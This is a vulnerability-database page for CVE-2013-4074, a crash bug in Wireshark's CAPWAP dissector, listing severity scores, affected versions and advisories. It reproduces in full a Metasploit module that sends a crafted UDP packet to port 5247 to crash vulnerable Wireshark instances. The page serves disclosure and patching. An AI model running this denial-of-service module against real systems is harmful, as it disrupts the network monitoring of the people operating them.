CVE-2013-4074 : Detail

CVE-2013-4074

16.59%V3
Network
2013-06-09
19h00 +00:00
2017-09-18
10h57 +00:00
CVE.org
NVD
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CVE Descriptions

The dissect_capwap_data function in epan/dissectors/packet-capwap.c in the CAPWAP dissector in Wireshark 1.6.x before 1.6.16 and 1.8.x before 1.8.8 incorrectly uses a -1 data value to represent an error condition, which allows remote attackers to cause a denial of service (application crash) via a crafted packet.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-189 Category : Numeric Errors
Weaknesses in this category are related to improper calculation or conversion of numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 33556

Publication date : 2014-05-27 22h00 +00:00
Author : j0sm1
EDB Verified : Yes

# # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Wireshark CAPWAP Dissector DoS', 'Description' => %q{ This module inject a malicious udp packet to crash Wireshark 1.8.0 to 1.8.7 and 1.6.0 to 1.6.15. The vulnerability exists in the capwap dissector which fails to handle an incomplete packet. }, 'License' => MSF_LICENSE, 'Author' => [ 'Laurent Butti', # Discovery vulnerability 'j0sm1' # Auxiliary msf module ], 'References' => [ ['CVE', '2013-4074'], ['OSVDB', '94091'], ['BID', '60500'] ], 'DisclosureDate' => 'Apr 28 2014')) # Protocol capwap needs port 5247 to trigger the dissector in wireshark register_options([ Opt::RPORT(5247) ], self.class) end def run connect_udp # We send a packet incomplete to crash dissector print_status("#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ...") # With 0x90 in this location we set to 1 the flags F and M. The others flags are sets to 0, then # the dissector crash # You can see more information here: https://www.rfc-editor.org/rfc/rfc5415.txt # F = 1 ; L = 0 ; W = 0 ; M = 1 ; K = 0 ; Flags = 000 buf = Rex::Text.rand_text(3) + "\x90" + Rex::Text.rand_text(15) udp_sock.put(buf) disconnect_udp end end

Products Mentioned

Configuraton 0

Wireshark>>Wireshark >> Version 1.6.0

Wireshark>>Wireshark >> Version 1.6.1

Wireshark>>Wireshark >> Version 1.6.2

Wireshark>>Wireshark >> Version 1.6.3

Wireshark>>Wireshark >> Version 1.6.4

Wireshark>>Wireshark >> Version 1.6.5

Wireshark>>Wireshark >> Version 1.6.6

Wireshark>>Wireshark >> Version 1.6.7

Wireshark>>Wireshark >> Version 1.6.8

Wireshark>>Wireshark >> Version 1.6.9

Wireshark>>Wireshark >> Version 1.6.10

Wireshark>>Wireshark >> Version 1.6.11

Wireshark>>Wireshark >> Version 1.6.12

Wireshark>>Wireshark >> Version 1.6.13

Wireshark>>Wireshark >> Version 1.6.14

Wireshark>>Wireshark >> Version 1.6.15

Configuraton 0

Debian>>Debian_linux >> Version 7.0

Opensuse>>Opensuse >> Version 11.4

Opensuse>>Opensuse >> Version 12.2

Opensuse>>Opensuse >> Version 12.3

Configuraton 0

Wireshark>>Wireshark >> Version 1.8.0

Wireshark>>Wireshark >> Version 1.8.1

Wireshark>>Wireshark >> Version 1.8.2

Wireshark>>Wireshark >> Version 1.8.3

Wireshark>>Wireshark >> Version 1.8.4

Wireshark>>Wireshark >> Version 1.8.5

Wireshark>>Wireshark >> Version 1.8.6

Wireshark>>Wireshark >> Version 1.8.7

References

http://www.exploit-db.com/exploits/33556
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/53762
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/54425
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.gentoo.org/security/en/glsa/glsa-201308-05.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.debian.org/security/2013/dsa-2709
Tags : vendor-advisory, x_refsource_DEBIAN
http://osvdb.org/show/osvdb/94091
Tags : vdb-entry, x_refsource_OSVDB
http://www.mandriva.com/security/advisories?name=MDVSA-2013:172
Tags : vendor-advisory, x_refsource_MANDRIVA